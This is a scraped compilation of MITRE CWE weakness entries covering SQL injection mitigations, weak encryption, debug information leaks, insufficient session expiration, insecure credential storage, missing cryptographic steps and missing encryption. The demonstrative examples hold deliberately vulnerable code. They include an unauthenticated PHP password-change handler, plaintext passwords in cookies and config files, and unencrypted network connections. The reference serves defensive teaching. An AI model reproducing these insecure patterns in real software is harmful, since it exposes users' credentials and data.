strike	the	balance	between	being	too	cryptic	(which	can	confuse	users)	or	being	too	detailed	(which	may	reveal	more	than	intended).	The	messages	should	not	reveal	the	methods	that	were	used	to	determine	the	error.	Attackers	can	use	detailed	information	to	refine	or	optimize	their	original	attack,	thereby	increasing	their	chances	of	success.	If	errors	must	be	captured	in	some	detail,	record	them	in	log	messages,	but	consider	what	could	occur	if	the	log	messages	can	be	viewed	by	attackers.	Highly	sensitive	information	such	as	passwords	should	never	be
saved	to	log	files.	Avoid	inconsistent	messaging	that	might	accidentally	tip	off	an	attacker	about	internal	state,	such	as	whether	a	user	account	exists	or	not.	In	the	context	of	SQL	Injection,	error	messages	revealing	the	structure	of	a	SQL	query	can	help	attackers	tailor	successful	attack	strings.	Phase:	OperationUse	an	application	firewall	that	can	detect	attacks	against	this	weakness.	It	can	be	beneficial	in	cases	in	which	the	code	cannot	be	fixed	(because	it	is	controlled	by	a	third	party),	as	an	emergency	prevention	measure	while	more	comprehensive	software
assurance	measures	are	applied,	or	to	provide	defense	in	depth.	Note:	An	application	firewall	might	not	cover	all	possible	input	vectors.	In	addition,	attack	techniques	might	be	available	to	bypass	the	protection	mechanism,	such	as	using	malformed	inputs	that	can	still	be	processed	by	the	component	that	receives	those	inputs.	Depending	on	functionality,	an	application	firewall	might	inadvertently	reject	or	modify	legitimate	requests.	Finally,	some	manual	effort	may	be	required	for	customization.	Phases:	Operation;	ImplementationStrategy:	Environment
HardeningWhen	using	PHP,	configure	the	application	so	that	it	does	not	use	register_globals.	During	implementation,	develop	the	application	so	that	it	does	not	rely	on	this	feature,	but	be	wary	of	implementing	a	register_globals	emulation	that	is	subject	to	weaknesses	such	as	CWE-95,	CWE-621,	and	similar	issues.	Detection	Methods	Automated	Static	AnalysisThis	weakness	can	often	be	detected	using	automated	static	analysis	tools.	Many	modern	tools	use	data	flow	analysis	or	constraint-based	techniques	to	minimize	the	number	of	false	positives.	Automated
static	analysis	might	not	be	able	to	recognize	when	proper	input	validation	is	being	performed,	leading	to	false	positives	-	i.e.,	warnings	that	do	not	have	any	security	consequences	or	do	not	require	any	code	changes.	Automated	static	analysis	might	not	be	able	to	detect	the	usage	of	custom	API	functions	or	third-party	libraries	that	indirectly	invoke	SQL	commands,	leading	to	false	negatives	-	especially	if	the	API/library	code	is	not	available	for	analysis.	Note:	This	is	not	a	perfect	solution,	since	100%	accuracy	and	coverage	are	not	feasible.	Automated	Dynamic
AnalysisThis	weakness	can	be	detected	using	dynamic	tools	and	techniques	that	interact	with	the	software	using	large	test	suites	with	many	diverse	inputs,	such	as	fuzz	testing	(fuzzing),	robustness	testing,	and	fault	injection.	The	software's	operation	may	slow	down,	but	it	should	not	become	unstable,	crash,	or	generate	incorrect	results.	Manual	AnalysisManual	analysis	can	be	useful	for	finding	this	weakness,	but	it	might	not	achieve	desired	code	coverage	within	limited	time	constraints.	This	becomes	difficult	for	weaknesses	that	must	be	considered	for	all
inputs,	since	the	attack	surface	can	be	too	large.	Automated	Static	Analysis	-	Binary	or	BytecodeAccording	to	SOAR,	the	following	detection	techniques	may	be	useful:	Bytecode	Weakness	Analysis	-	including	disassembler	+	source	code	weakness	analysis	Binary	Weakness	Analysis	-	including	disassembler	+	source	code	weakness	analysis	Dynamic	Analysis	with	Automated	Results	InterpretationAccording	to	SOAR,	the	following	detection	techniques	may	be	useful:	Cost	effective	for	partial	coverage:	Web	Application	Scanner	Web	Services	Scanner	Dynamic
Analysis	with	Manual	Results	InterpretationAccording	to	SOAR,	the	following	detection	techniques	may	be	useful:	Cost	effective	for	partial	coverage:	Fuzz	Tester	Framework-based	Fuzzer	Effectiveness:	SOAR	Partial	Manual	Static	Analysis	-	Source	CodeAccording	to	SOAR,	the	following	detection	techniques	may	be	useful:	Manual	Source	Code	Review	(not	inspections)	Cost	effective	for	partial	coverage:	Focused	Manual	Spotcheck	-	Focused	manual	analysis	of	source	Automated	Static	Analysis	-	Source	CodeAccording	to	SOAR,	the	following	detection
techniques	may	be	useful:	Source	code	Weakness	Analyzer	Context-configured	Source	Code	Weakness	Analyzer	Architecture	or	Design	ReviewAccording	to	SOAR,	the	following	detection	techniques	may	be	useful:	Formal	Methods	/	Correct-By-Construction	Cost	effective	for	partial	coverage:	Inspection	(IEEE	1028	standard)	(can	apply	to	requirements,	design,	source	code,	etc.)	NotesRelationshipSQL	injection	can	be	resultant	from	special	character	mismanagement,	MAID,	or	denylist/allowlist	problems.	It	can	be	primary	to	authentication	errors.	References
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Relationships	Previous	Entry	NamesChange	DatePrevious	Entry	Name2008-04-11SQL	Injection2008-09-09Failure	to	Sanitize	Data	into	SQL	Queries	(aka	'SQL	Injection')2009-01-12Failure	to	Sanitize	Data	within	SQL	Queries	(aka	'SQL	Injection')2009-05-27Failure	to	Preserve	SQL	Query	Structure	(aka	'SQL	Injection')2009-07-27Failure	to	Preserve	SQL	Query	Structure	('SQL	Injection')2010-06-21Improper	Sanitization	of	Special	Elements	used	in	an	SQL	Command	('SQL	Injection')	Weakness	ID:	326Abstraction:	ClassStructure:	Simple	DescriptionThe	software
stores	or	transmits	sensitive	data	using	an	encryption	scheme	that	is	theoretically	sound,	but	is	not	strong	enough	for	the	level	of	protection	required.	Extended	DescriptionA	weak	encryption	scheme	can	be	subjected	to	brute	force	attacks	that	have	a	reasonable	chance	of	succeeding	using	current	attack	methods	and	resources.	Applicable	PlatformsThis	listing	shows	possible	areas	for	which	the	given	weakness	could	appear.	These	may	be	for	specific	named	Languages,	Operating	Systems,	Architectures,	Paradigms,	Technologies,	or	a	class	of	such	platforms.
The	platform	is	listed	along	with	how	frequently	the	given	weakness	appears	for	that	instance.Languages	Class:	Language-Independent	(Undetermined	Prevalence)	Common	ConsequencesThis	table	specifies	different	individual	consequences	associated	with	the	weakness.	The	Scope	identifies	the	application	security	area	that	is	violated,	while	the	Impact	describes	the	negative	technical	impact	that	arises	if	an	adversary	succeeds	in	exploiting	this	weakness.	The	Likelihood	provides	information	about	how	likely	the	specific	consequence	is	expected	to	be	seen
relative	to	the	other	consequences	in	the	list.	For	example,	there	may	be	high	likelihood	that	a	weakness	will	be	exploited	to	achieve	a	certain	impact,	but	a	low	likelihood	that	it	will	be	exploited	to	achieve	a	different	impact.ScopeImpactLikelihoodAccess	ControlConfidentialityTechnical	Impact:	Bypass	Protection	Mechanism;	Read	Application	DataAn	attacker	may	be	able	to	decrypt	the	data	using	brute	force	attacks.	Potential	Mitigations	Phase:	Architecture	and	DesignUse	an	encryption	scheme	that	is	currently	considered	to	be	strong	by	experts	in	the	field.
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Content	TeamMITREupdated	Relationships2020-02-24CWE	Content	TeamMITREupdated	Maintenance_Notes,	Potential_Mitigations,	Relationships2021-10-28CWE	Content	TeamMITREupdated	Relationships	Previous	Entry	NamesChange	DatePrevious	Entry	Name2009-07-27Weak	Encryption	Weakness	ID:	215Abstraction:	BaseStructure:	Simple	DescriptionThe	application	inserts	sensitive	information	into	debugging	code,	which	could	expose	this	information	if	the	debugging	code	is	not	disabled	in	production.	Extended	DescriptionWhen	debugging,	it	may	be
necessary	to	report	detailed	information	to	the	programmer.	However,	if	the	debugging	code	is	not	disabled	when	the	application	is	operating	in	a	production	environment,	then	this	sensitive	information	may	be	exposed	to	attackers.	Applicable	PlatformsThis	listing	shows	possible	areas	for	which	the	given	weakness	could	appear.	These	may	be	for	specific	named	Languages,	Operating	Systems,	Architectures,	Paradigms,	Technologies,	or	a	class	of	such	platforms.	The	platform	is	listed	along	with	how	frequently	the	given	weakness	appears	for	that
instance.Languages	Class:	Language-Independent	(Undetermined	Prevalence)	Common	ConsequencesThis	table	specifies	different	individual	consequences	associated	with	the	weakness.	The	Scope	identifies	the	application	security	area	that	is	violated,	while	the	Impact	describes	the	negative	technical	impact	that	arises	if	an	adversary	succeeds	in	exploiting	this	weakness.	The	Likelihood	provides	information	about	how	likely	the	specific	consequence	is	expected	to	be	seen	relative	to	the	other	consequences	in	the	list.	For	example,	there	may	be	high
likelihood	that	a	weakness	will	be	exploited	to	achieve	a	certain	impact,	but	a	low	likelihood	that	it	will	be	exploited	to	achieve	a	different	impact.ScopeImpactLikelihoodConfidentialityTechnical	Impact:	Read	Application	Data	Demonstrative	ExamplesExample	1The	following	program	changes	its	behavior	based	on	a	debug	flag.	User	account	number:	The	code	writes	sensitive	debug	information	to	the	client	browser	if	the	"debugEnabled"	flag	is	set	to	true	.	Observed	ExamplesReferenceDescription	Password	exposed	in	debug	information.	CGI	script	includes
sensitive	information	in	debug	messages	when	an	error	is	triggered.	FTP	client	with	debug	option	enabled	shows	password	to	the	screen.	Potential	Mitigations	Phase:	ImplementationDo	not	leave	debug	statements	that	could	be	executed	in	the	source	code.	Ensure	that	all	debug	information	is	eradicated	before	releasing	the	software.	Phase:	Architecture	and	DesignStrategy:	Separation	of	PrivilegeCompartmentalize	the	system	to	have	"safe"	areas	where	trust	boundaries	can	be	unambiguously	drawn.	Do	not	allow	sensitive	data	to	go	outside	of	the	trust
boundary	and	always	be	careful	when	interfacing	with	a	compartment	outside	of	the	safe	area.	Ensure	that	appropriate	compartmentalization	is	built	into	the	system	design,	and	the	compartmentalization	allows	for	and	reinforces	privilege	separation	functionality.	Architects	and	designers	should	rely	on	the	principle	of	least	privilege	to	decide	the	appropriate	time	to	use	privileges	and	the	time	to	drop	privileges.	NotesRelationshipThis	overlaps	other	categories.	Content	History	SubmissionsSubmission	DateSubmitterOrganization2006-07-19PLOVER
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Relationships,	Time_of_Introduction,	Type2020-12-10CWE	Content	TeamMITREupdated	Potential_Mitigations	Previous	Entry	NamesChange	DatePrevious	Entry	Name2010-09-27Information	Leak	Through	Debug	Information2020-02-24Information	Exposure	Through	Debug	Information	Weakness	ID:	613Abstraction:	BaseStructure:	Simple	DescriptionAccording	to	WASC,	"Insufficient	Session	Expiration	is	when	a	web	site	permits	an	attacker	to	reuse	old	session	credentials	or	session	IDs	for	authorization."	Common	ConsequencesThis	table	specifies	different
individual	consequences	associated	with	the	weakness.	The	Scope	identifies	the	application	security	area	that	is	violated,	while	the	Impact	describes	the	negative	technical	impact	that	arises	if	an	adversary	succeeds	in	exploiting	this	weakness.	The	Likelihood	provides	information	about	how	likely	the	specific	consequence	is	expected	to	be	seen	relative	to	the	other	consequences	in	the	list.	For	example,	there	may	be	high	likelihood	that	a	weakness	will	be	exploited	to	achieve	a	certain	impact,	but	a	low	likelihood	that	it	will	be	exploited	to	achieve	a	different
impact.ScopeImpactLikelihoodAccess	ControlTechnical	Impact:	Bypass	Protection	Mechanism	Demonstrative	ExamplesExample	1The	following	snippet	was	taken	from	a	J2EE	web.xml	deployment	descriptor	in	which	the	session-timeout	parameter	is	explicitly	defined	(the	default	value	depends	on	the	container).	In	this	case	the	value	is	set	to	-1,	which	means	that	a	session	will	never	expire.	[...snipped...]	-1	Potential	Mitigations	Phase:	ImplementationSet	sessions/credentials	expiration	date.	NotesOtherThe	lack	of	proper	session	expiration	may	improve	the
likely	success	of	certain	attacks.	For	example,	an	attacker	may	intercept	a	session	ID,	possibly	via	a	network	sniffer	or	Cross-site	Scripting	attack.	Although	short	session	expiration	times	do	not	help	if	a	stolen	token	is	immediately	used,	they	will	protect	against	ongoing	replaying	of	the	session	ID.	In	another	scenario,	a	user	might	access	a	web	site	from	a	shared	computer	(such	as	at	a	library,	Internet	cafe,	or	open	work	environment).	Insufficient	Session	Expiration	could	allow	an	attacker	to	use	the	browser's	back	button	to	access	web	pages	previously
accessed	by	the	victim.	Content	History	SubmissionsSubmission	DateSubmitterOrganization2007-05-07WASC	ModificationsModification	DateModifierOrganization2008-07-01Sean	EidemillerCigitaladded/updated	demonstrative	examples2008-07-01Eric	DalciCigitalupdated	Potential_Mitigations,	Time_of_Introduction2008-09-08CWE	Content	TeamMITREupdated	Relationships,	Other_Notes,	Taxonomy_Mappings2009-03-10CWE	Content	TeamMITREupdated	Relationships2010-02-16CWE	Content	TeamMITREupdated	Taxonomy_Mappings2010-09-27CWE
Content	TeamMITREupdated	Taxonomy_Mappings2011-06-01CWE	Content	TeamMITREupdated	Common_Consequences2012-05-11CWE	Content	TeamMITREupdated	Relationships2012-10-30CWE	Content	TeamMITREupdated	Potential_Mitigations2014-06-23CWE	Content	TeamMITREupdated	Relationships2014-07-30CWE	Content	TeamMITREupdated	Relationships2017-11-08CWE	Content	TeamMITREupdated	Modes_of_Introduction,	Relationships2018-03-27CWE	Content	TeamMITREupdated	Relationships2019-06-20CWE	Content	TeamMITREupdated
Relationships2020-02-24CWE	Content	TeamMITREupdated	Relationships2021-10-28CWE	Content	TeamMITREupdated	Relationships	Weakness	ID:	522Abstraction:	ClassStructure:	Simple	DescriptionThe	product	transmits	or	stores	authentication	credentials,	but	it	uses	an	insecure	method	that	is	susceptible	to	unauthorized	interception	and/or	retrieval.	Common	ConsequencesThis	table	specifies	different	individual	consequences	associated	with	the	weakness.	The	Scope	identifies	the	application	security	area	that	is	violated,	while	the	Impact	describes	the
negative	technical	impact	that	arises	if	an	adversary	succeeds	in	exploiting	this	weakness.	The	Likelihood	provides	information	about	how	likely	the	specific	consequence	is	expected	to	be	seen	relative	to	the	other	consequences	in	the	list.	For	example,	there	may	be	high	likelihood	that	a	weakness	will	be	exploited	to	achieve	a	certain	impact,	but	a	low	likelihood	that	it	will	be	exploited	to	achieve	a	different	impact.ScopeImpactLikelihoodAccess	ControlTechnical	Impact:	Gain	Privileges	or	Assume	IdentityAn	attacker	could	gain	access	to	user	accounts	and
access	sensitive	data	used	by	the	user	accounts.	Demonstrative	ExamplesExample	1This	code	changes	a	user's	password.	$user	=	$_GET['user'];$pass	=	$_GET['pass'];$checkpass	=	$_GET['checkpass'];if	($pass	==	$checkpass)	{SetUserPassword($user,	$pass);}	While	the	code	confirms	that	the	requesting	user	typed	the	same	new	password	twice,	it	does	not	confirm	that	the	user	requesting	the	password	change	is	the	same	user	whose	password	will	be	changed.	An	attacker	can	request	a	change	of	another	user's	password	and	gain	control	of	the	victim's
account.Example	2The	following	code	reads	a	password	from	a	properties	file	and	uses	the	password	to	connect	to	a	database.	...Properties	prop	=	new	Properties();prop.load(new	FileInputStream("config.properties"));String	password	=	prop.getProperty("password");DriverManager.getConnection(url,	usr,	password);...	This	code	will	run	successfully,	but	anyone	who	has	access	to	config.properties	can	read	the	value	of	password.	If	a	devious	employee	has	access	to	this	information,	they	can	use	it	to	break	into	the	system.Example	3The	following	code	reads	a
password	from	the	registry	and	uses	the	password	to	create	a	new	network	credential.	...String	password	=	regKey.GetValue(passKey).toString();NetworkCredential	netCred	=	new	NetworkCredential(username,password,domain);...	This	code	will	run	successfully,	but	anyone	who	has	access	to	the	registry	key	used	to	store	the	password	can	read	the	value	of	password.	If	a	devious	employee	has	access	to	this	information,	they	can	use	it	to	break	into	the	systemExample	4Both	of	these	examples	verify	a	password	by	comparing	it	to	a	stored	compressed	version.
int	VerifyAdmin(char	*password)	{if	(strcmp(compress(password),	compressed_password))	{printf("Incorrect	Password!");return(0);}printf("Entering	Diagnostic	Mode...");return(1);}	int	VerifyAdmin(String	password)	{if	(passwd.Equals(compress(password),	compressed_password))	{return(0);}	//Diagnostic	Mode	return(1);}	Because	a	compression	algorithm	is	used	instead	of	a	one	way	hashing	algorithm,	an	attacker	can	recover	compressed	passwords	stored	in	the	database.Example	5The	following	examples	show	a	portion	of	properties	and	configuration
files	for	Java	and	ASP.NET	applications.	The	files	include	username	and	password	information	but	they	are	stored	in	cleartext.This	Java	example	shows	a	properties	file	with	a	cleartext	username	/	password	pair.	#	Java	Web	App	ResourceBundle	properties	file	...webapp.ldap.username=secretUsernamewebapp.ldap.password=secretPassword...	The	following	example	shows	a	portion	of	a	configuration	file	for	an	ASP.Net	application.	This	configuration	file	includes	username	and	password	information	for	a	connection	to	a	database	but	the	pair	is	stored	in
cleartext.	......	Username	and	password	information	should	not	be	included	in	a	configuration	file	or	a	properties	file	in	cleartext	as	this	will	allow	anyone	who	can	read	the	file	access	to	the	resource.	If	possible,	encrypt	this	information.	Observed	ExamplesReferenceDescription	Web	app	allows	remote	attackers	to	change	the	passwords	of	arbitrary	users	without	providing	the	original	password,	and	possibly	perform	other	unauthorized	actions.	Web	application	password	change	utility	doesn't	check	the	original	password.	product	authentication	succeeds	if	user-
provided	MD5	hash	matches	the	hash	in	its	database;	this	can	be	subjected	to	replay	attacks.	chain:	product	generates	predictable	MD5	hashes	using	a	constant	value	combined	with	username,	allowing	authentication	bypass.	Potential	Mitigations	Phase:	Architecture	and	DesignUse	an	appropriate	security	mechanism	to	protect	the	credentials.	Phase:	Architecture	and	DesignMake	appropriate	use	of	cryptography	to	protect	the	credentials.	Phase:	ImplementationUse	industry	standards	to	protect	the	credentials	(e.g.	LDAP,	keystore,	etc.).	References	[REF-44]
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DateSubmitterOrganization2006-07-19PLOVER	ModificationsModification	DateModifierOrganization2008-09-08CWE	Content	TeamMITREupdated	Maintenance_Notes,	Relationships,	Taxonomy_Mappings2011-03-29CWE	Content	TeamMITREupdated	Observed_Examples2014-06-23CWE	Content	TeamMITREupdated	Relationships2015-12-07CWE	Content	TeamMITREupdated	Relationships2017-11-08CWE	Content	TeamMITREupdated	Applicable_Platforms,	Observed_Examples2018-03-27CWE	Content	TeamMITREupdated	Relationships2019-06-20CWE
Content	TeamMITREupdated	Relationships2020-02-24CWE	Content	TeamMITREupdated	Maintenance_Notes,	Relationships2020-08-20CWE	Content	TeamMITREupdated	Relationships	Weakness	ID:	325Abstraction:	BaseStructure:	Simple	DescriptionThe	product	does	not	implement	a	required	step	in	a	cryptographic	algorithm,	resulting	in	weaker	encryption	than	advertised	by	the	algorithm.	Applicable	PlatformsThis	listing	shows	possible	areas	for	which	the	given	weakness	could	appear.	These	may	be	for	specific	named	Languages,	Operating	Systems,
Architectures,	Paradigms,	Technologies,	or	a	class	of	such	platforms.	The	platform	is	listed	along	with	how	frequently	the	given	weakness	appears	for	that	instance.Languages	Class:	Language-Independent	(Undetermined	Prevalence)Technologies	Class:	Technology-Independent	(Undetermined	Prevalence)	Common	ConsequencesThis	table	specifies	different	individual	consequences	associated	with	the	weakness.	The	Scope	identifies	the	application	security	area	that	is	violated,	while	the	Impact	describes	the	negative	technical	impact	that	arises	if	an
adversary	succeeds	in	exploiting	this	weakness.	The	Likelihood	provides	information	about	how	likely	the	specific	consequence	is	expected	to	be	seen	relative	to	the	other	consequences	in	the	list.	For	example,	there	may	be	high	likelihood	that	a	weakness	will	be	exploited	to	achieve	a	certain	impact,	but	a	low	likelihood	that	it	will	be	exploited	to	achieve	a	different	impact.ScopeImpactLikelihoodAccess	ControlTechnical	Impact:	Bypass	Protection	MechanismConfidentialityIntegrityTechnical	Impact:	Read	Application	Data;	Modify	Application
DataAccountabilityNon-RepudiationTechnical	Impact:	Hide	Activities	Observed	ExamplesReferenceDescription	Missing	challenge-response	step	allows	authentication	bypass	using	public	key.	Functional	Areas	Notes	Content	History	SubmissionsSubmission	DateSubmitterOrganization2006-07-19PLOVER	ModificationsModification	DateModifierOrganization2008-07-01Eric	DalciCigitalupdated	Time_of_Introduction2008-09-08CWE	Content	TeamMITREupdated	Description,	Functional_Areas,	Modes_of_Introduction,	Relationships,	Observed_Example,
Relationship_Notes,	Taxonomy_Mappings2011-06-01CWE	Content	TeamMITREupdated	Common_Consequences2012-05-11CWE	Content	TeamMITREupdated	Common_Consequences,	Relationships2014-06-23CWE	Content	TeamMITREupdated	Relationships2014-07-30CWE	Content	TeamMITREupdated	Relationships2017-11-08CWE	Content	TeamMITREupdated	Applicable_Platforms,	Modes_of_Introduction,	Relationships2018-03-27CWE	Content	TeamMITREupdated	Relationships2020-02-24CWE	Content	TeamMITREupdated	Applicable_Platforms,
Description,	Relationships2020-08-20CWE	Content	TeamMITREupdated	Common_Consequences,	Description,	Modes_of_Introduction,	Name2021-10-28CWE	Content	TeamMITREupdated	Relationships	Previous	Entry	NamesChange	DatePrevious	Entry	Name2020-08-20Missing	Required	Cryptographic	Step	Weakness	ID:	311Abstraction:	ClassStructure:	Simple	DescriptionThe	software	does	not	encrypt	sensitive	or	critical	information	before	storage	or	transmission.	Extended	DescriptionThe	lack	of	proper	data	encryption	passes	up	the	guarantees	of
confidentiality,	integrity,	and	accountability	that	properly	implemented	encryption	conveys.	Applicable	PlatformsThis	listing	shows	possible	areas	for	which	the	given	weakness	could	appear.	These	may	be	for	specific	named	Languages,	Operating	Systems,	Architectures,	Paradigms,	Technologies,	or	a	class	of	such	platforms.	The	platform	is	listed	along	with	how	frequently	the	given	weakness	appears	for	that	instance.Languages	Class:	Language-Independent	(Undetermined	Prevalence)	Common	ConsequencesThis	table	specifies	different	individual
consequences	associated	with	the	weakness.	The	Scope	identifies	the	application	security	area	that	is	violated,	while	the	Impact	describes	the	negative	technical	impact	that	arises	if	an	adversary	succeeds	in	exploiting	this	weakness.	The	Likelihood	provides	information	about	how	likely	the	specific	consequence	is	expected	to	be	seen	relative	to	the	other	consequences	in	the	list.	For	example,	there	may	be	high	likelihood	that	a	weakness	will	be	exploited	to	achieve	a	certain	impact,	but	a	low	likelihood	that	it	will	be	exploited	to	achieve	a	different
impact.ScopeImpactLikelihoodConfidentialityTechnical	Impact:	Read	Application	DataIf	the	application	does	not	use	a	secure	channel,	such	as	SSL,	to	exchange	sensitive	information,	it	is	possible	for	an	attacker	with	access	to	the	network	traffic	to	sniff	packets	from	the	connection	and	uncover	the	data.	This	attack	is	not	technically	difficult,	but	does	require	physical	access	to	some	portion	of	the	network	over	which	the	sensitive	data	travels.	This	access	is	usually	somewhere	near	where	the	user	is	connected	to	the	network	(such	as	a	colleague	on	the
company	network)	but	can	be	anywhere	along	the	path	from	the	user	to	the	end	server.	ConfidentialityIntegrityTechnical	Impact:	Modify	Application	DataOmitting	the	use	of	encryption	in	any	program	which	transfers	data	over	a	network	of	any	kind	should	be	considered	on	par	with	delivering	the	data	sent	to	each	user	on	the	local	networks	of	both	the	sender	and	receiver.	Worse,	this	omission	allows	for	the	injection	of	data	into	a	stream	of	communication	between	two	parties	--	with	no	means	for	the	victims	to	separate	valid	data	from	invalid.	In	this	day	of
widespread	network	attacks	and	password	collection	sniffers,	it	is	an	unnecessary	risk	to	omit	encryption	from	the	design	of	any	system	which	might	benefit	from	it.	Likelihood	Of	Exploit	Demonstrative	ExamplesExample	1This	code	writes	a	user's	login	information	to	a	cookie	so	the	user	does	not	have	to	login	again	later.	function	persistLogin($username,	$password){$data	=	array("username"	=>	$username,	"password"=>	$password);setcookie	("userdata",	$data);}	The	code	stores	the	user's	username	and	password	in	plaintext	in	a	cookie	on	the	user's
machine.	This	exposes	the	user's	login	information	if	their	computer	is	compromised	by	an	attacker.	Even	if	the	user's	machine	is	not	compromised,	this	weakness	combined	with	cross-site	scripting	(CWE-79)	could	allow	an	attacker	to	remotely	copy	the	cookie.	Also	note	this	example	code	also	exhibits	Plaintext	Storage	in	a	Cookie	(CWE-315).	Example	2The	following	code	attempts	to	establish	a	connection,	read	in	a	password,	then	store	it	to	a	buffer.	server.sin_family	=	AF_INET;	hp	=	gethostbyname(argv[1]);if	(hp==NULL)	error("Unknown	host");memcpy(
(char	*)&server.sin_addr,(char	*)hp->h_addr,hp->h_length);if	(argc	<	3)	port	=	80;else	port	=	(unsigned	short)atoi(argv[3]);server.sin_port	=	htons(port);if	(connect(sock,	(struct	sockaddr	*)&server,	sizeof	server)	<	0)	error("Connecting");...while	((n=read(sock,buffer,BUFSIZE-1))!=-1)	{	write(dfd,password_buffer,n);...	While	successful,	the	program	does	not	encrypt	the	data	before	writing	it	to	a	buffer,	possibly	exposing	it	to	unauthorized	actors.Example	3The	following	code	attempts	to	establish	a	connection	to	a	site	to	communicate	sensitive	information.	try
{URL	u	=	new	URL("	);HttpURLConnection	hu	=	(HttpURLConnection)	u.openConnection();hu.setRequestMethod("PUT");hu.connect();OutputStream	os	=	hu.getOutputStream();hu.disconnect();}catch	(IOException	e)	{}	Though	a	connection	is	successfully	made,	the	connection	is	unencrypted	and	it	is	possible	that	all	sensitive	data	sent	to	or	received	from	the	server	will	be	read	by	unintended	actors.	Observed	ExamplesReferenceDescription	password	and	username	stored	in	cleartext	in	a	cookie	password	stored	in	cleartext	in	a	file	with	insecure
permissions	chat	program	disables	SSL	in	some	circumstances	even	when	the	user	says	to	use	SSL.	Chain:	product	uses	an	incorrect	public	exponent	when	generating	an	RSA	key,	which	effectively	disables	the	encryption	storage	of	unencrypted	passwords	in	a	database	storage	of	unencrypted	passwords	in	a	database	product	stores	a	password	in	cleartext	in	memory	storage	of	a	secret	key	in	cleartext	in	a	temporary	file	SCADA	product	uses	HTTP	Basic	Authentication,	which	is	not	encrypted	login	credentials	stored	unencrypted	in	a	registry	key	Passwords
transmitted	in	cleartext.	Chain:	Use	of	HTTPS	cookie	without	"secure"	flag	causes	it	to	be	transmitted	across	unencrypted	HTTP.	Product	sends	password	hash	in	cleartext	in	violation	of	intended	policy.	Remote	management	feature	sends	sensitive	information	including	passwords	in	cleartext.	Backup	routine	sends	password	in	cleartext	in	email.	Product	transmits	Blowfish	encryption	key	in	cleartext.	Printer	sends	configuration	information,	including	administrative	password,	in	cleartext.	Chain:	cleartext	transmission	of	the	MD5	hash	of	password	enables
attacks	against	a	server	that	is	susceptible	to	replay	(CWE-294).	Product	sends	passwords	in	cleartext	to	a	log	server.	Product	sends	file	with	cleartext	passwords	in	e-mail	message	intended	for	diagnostic	purposes.	Potential	Mitigations	Phase:	RequirementsClearly	specify	which	data	or	resources	are	valuable	enough	that	they	should	be	protected	by	encryption.	Require	that	any	transmission	or	storage	of	this	data/resource	should	use	well-vetted	encryption	algorithms.	Phase:	Architecture	and	DesignEnsure	that	encryption	is	properly	integrated	into	the
system	design,	including	but	not	necessarily	limited	to:	Encryption	that	is	needed	to	store	or	transmit	private	data	of	the	users	of	the	system	Encryption	that	is	needed	to	protect	the	system	itself	from	unauthorized	disclosure	or	tampering	Identify	the	separate	needs	and	contexts	for	encryption:	One-way	(i.e.,	only	the	user	or	recipient	needs	to	have	the	key).	This	can	be	achieved	using	public	key	cryptography,	or	other	techniques	in	which	the	encrypting	party	(i.e.,	the	software)	does	not	need	to	have	access	to	a	private	key.	Two-way	(i.e.,	the	encryption	can	be
automatically	performed	on	behalf	of	a	user,	but	the	key	must	be	available	so	that	the	plaintext	can	be	automatically	recoverable	by	that	user).	This	requires	storage	of	the	private	key	in	a	format	that	is	recoverable	only	by	the	user	(or	perhaps	by	the	operating	system)	in	a	way	that	cannot	be	recovered	by	others.	Using	threat	modeling	or	other	techniques,	assume	that	data	can	be	compromised	through	a	separate	vulnerability	or	weakness,	and	determine	where	encryption	will	be	most	effective.	Ensure	that	data	that	should	be	private	is	not	being	inadvertently
exposed	using	weaknesses	such	as	insecure	permissions	(CWE-732).	[REF-7]	Phase:	Architecture	and	DesignStrategy:	Libraries	or	FrameworksWhen	there	is	a	need	to	store	or	transmit	sensitive	data,	use	strong,	up-to-date	cryptographic	algorithms	to	encrypt	that	data.	Select	a	well-vetted	algorithm	that	is	currently	considered	to	be	strong	by	experts	in	the	field,	and	use	well-tested	implementations.	As	with	all	cryptographic	mechanisms,	the	source	code	should	be	available	for	analysis.	For	example,	US	government	systems	require	FIPS	140-2	certification.
Do	not	develop	custom	or	private	cryptographic	algorithms.	They	will	likely	be	exposed	to	attacks	that	are	well-understood	by	cryptographers.	Reverse	engineering	techniques	are	mature.	If	the	algorithm	can	be	compromised	if	attackers	find	out	how	it	works,	then	it	is	especially	weak.	Periodically	ensure	that	the	cryptography	has	not	become	obsolete.	Some	older	algorithms,	once	thought	to	require	a	billion	years	of	computing	time,	can	now	be	broken	in	days	or	hours.	This	includes	MD4,	MD5,	SHA1,	DES,	and	other	algorithms	that	were	once	regarded	as
strong.	[REF-267]	Phase:	Architecture	and	DesignStrategy:	Separation	of	PrivilegeCompartmentalize	the	system	to	have	"safe"	areas	where	trust	boundaries	can	be	unambiguously	drawn.	Do	not	allow	sensitive	data	to	go	outside	of	the	trust	boundary	and	always	be	careful	when	interfacing	with	a	compartment	outside	of	the	safe	area.	Ensure	that	appropriate	compartmentalization	is	built	into	the	system	design,	and	the	compartmentalization	allows	for	and	reinforces	privilege	separation	functionality.	Architects	and	designers	should	rely	on	the	principle	of
least	privilege	to	decide	the	appropriate	time	to	use	privileges	and	the	time	to	drop	privileges.	Phases:	Implementation;	Architecture	and	DesignWhen	using	industry-approved	techniques,	use	them	correctly.	Don't	cut	corners	by	skipping	resource-intensive	steps	(CWE-325).	These	steps	are	often	essential	for	preventing	common	attacks.	Phase:	ImplementationStrategy:	Attack	Surface	ReductionUse	naming	conventions	and	strong	types	to	make	it	easier	to	spot	when	sensitive	data	is	being	used.	When	creating	structures,	objects,	or	other	complex	entities,
separate	the	sensitive	and	non-sensitive	data	as	much	as	possible.	Effectiveness:	Defense	in	DepthNote:	This	makes	it	easier	to	spot	places	in	the	code	where	data	is	being	used	that	is	unencrypted.	Detection	Methods	Manual	AnalysisThe	characterizaton	of	sensitive	data	often	requires	domain-specific	understanding,	so	manual	methods	are	useful.	However,	manual	efforts	might	not	achieve	desired	code	coverage	within	limited	time	constraints.	Black	box	methods	may	produce	artifacts	(e.g.	stored	data	or	unencrypted	network	transfer)	that	require	manual
evaluation.	Automated	AnalysisAutomated	measurement	of	the	entropy	of	an	input/output	source	may	indicate	the	use	or	lack	of	encryption,	but	human	analysis	is	still	required	to	distinguish	intentionally-unencrypted	data	(e.g.	metadata)	from	sensitive	data.	Manual	Static	Analysis	-	Binary	or	BytecodeAccording	to	SOAR,	the	following	detection	techniques	may	be	useful:	Cost	effective	for	partial	coverage:	Binary	/	Bytecode	disassembler	-	then	use	manual	analysis	for	vulnerabilities	&	anomalies	Effectiveness:	SOAR	Partial	Dynamic	Analysis	with	Automated
